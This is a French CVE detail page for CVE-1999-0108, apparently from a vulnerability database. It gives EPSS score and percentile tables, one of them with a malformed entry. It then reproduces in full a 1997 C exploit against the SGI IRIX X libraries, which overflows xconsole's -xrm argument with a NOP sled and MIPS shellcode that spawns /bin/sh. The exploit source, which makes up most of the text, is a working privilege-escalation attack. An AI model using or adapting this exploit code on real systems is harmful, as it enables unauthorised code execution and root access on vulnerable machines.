CVE-1999-0108 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.15%
2025-03-30	–	–	–	–	0.13%
2025-03-30	–	–	–	–	0.13,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	32%
2025-03-30	29%
2025-03-30	29%

// source: https://www.securityfocus.com/bid/334/info A vulnerability exists in the X libraries as supplied with Silicon Graphics IRIX operating system. By placing a carefully constructed buffer as the argument to the -xrm option, an attacker can execute arbitrary code. /* Exploit by David Hedley <hedley@cs.bris.ac.uk> * 27/5/97 * * _very_ slighty modified by Patrick J..Paulus <pjp@stepahead.net> * */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <unistd.h> #define NUM_ADDRESSES 500 #define BUF_LENGTH 500 #define EXTRA 9000 #define OFFSET 0x180 /* 0x184 for Irix 6.x */ #define GP_OFFSET -0x80 #define IRIX_NOP 0x03e0f825 /* move $ra,$ra */ #define PATH_PROG "/usr/bin/X11/xconsole" /* path & program name */ #define PROG "xconsole" /* program */ #define u_long unsigned u_long get_sp_code[] = { 0x03a01025, /* move $v0,$sp */ 0x03e00008, /* jr $ra */ 0x00000000, /* nop */ }; u_long irix_shellcode[] = { 0x24041234, /* li $4,0x1234 */ 0x2084edcc, /* sub $4,0x1234 */ 0x0491fffe, /* bgezal $4,pc-4 */ 0x03bd302a, /* sgt $6,$sp,$sp */ 0x03bd202a, /* sgt $4,$sp,$sp */ 0x240203ff, /* li $v0,1023 */ 0x03ffffcc, /* syscall 0xfffff */ 0x23e40138, /* addi $4,$31,264+48 */ 0xa086feff, /* sb $6,-264+7($4) */ 0x2084fef8, /* sub $4,264 */ 0x20850110, /* addi $5,$4,264+8 */ 0xaca4fef8, /* sw $4,-264($5) */ 0xaca6fefc, /* sw $4,-260($5) */ 0x20a5fef8, /* sub $5, 264 */ 0x240203f3, /* li $v0,1011 */ 0x03ffffcc, /* syscall 0xfffff */ 0x2f62696e, /* "/bin" */ 0x2f7368ff, /* "/sh" */ }; char buf[NUM_ADDRESSES+BUF_LENGTH + EXTRA + 8]; void main(int argc, char **argv) { char *env[] = {NULL}; u_long targ_addr, stack, tmp; u_long *long_p; int i, code_length = strlen((char *)irix_shellcode)+1; u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code; stack = get_sp(); if (stack & 0x80000000) { printf("Recompile with the '-32' option\n"); exit(1); } long_p =(u_long *) buf; targ_addr = stack + OFFSET; if (argc > 1) targ_addr += atoi(argv[1]); tmp = (targ_addr + NUM_ADDRESSES + (BUF_LENGTH-code_length)/2) & ~3; while ((tmp & 0xff000000) == 0 || (tmp & 0x00ff0000) == 0 || (tmp & 0x0000ff00) == 0 || (tmp & 0x000000ff) == 0) tmp += 4; for (i = 0; i < NUM_ADDRESSES/(4*sizeof(u_long)); i++) { *long_p++ = tmp; *long_p++ = tmp; *long_p++ = targ_addr; *long_p++ = targ_addr; } for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++) *long_p++ = IRIX_NOP; for (i = 0; i < code_length/sizeof(u_long); i++) *long_p++ = irix_shellcode[i]; tmp = (targ_addr + GP_OFFSET + NUM_ADDRESSES/2) & ~3; for (i = 0; i < EXTRA / sizeof(u_long); i++) *long_p++ = (tmp >> 8) | (tmp << 24); *long_p = 0; printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr); execle(PATH_PROG, PROG, "-xrm", &buf[2], 0, env); perror("execl failed"); }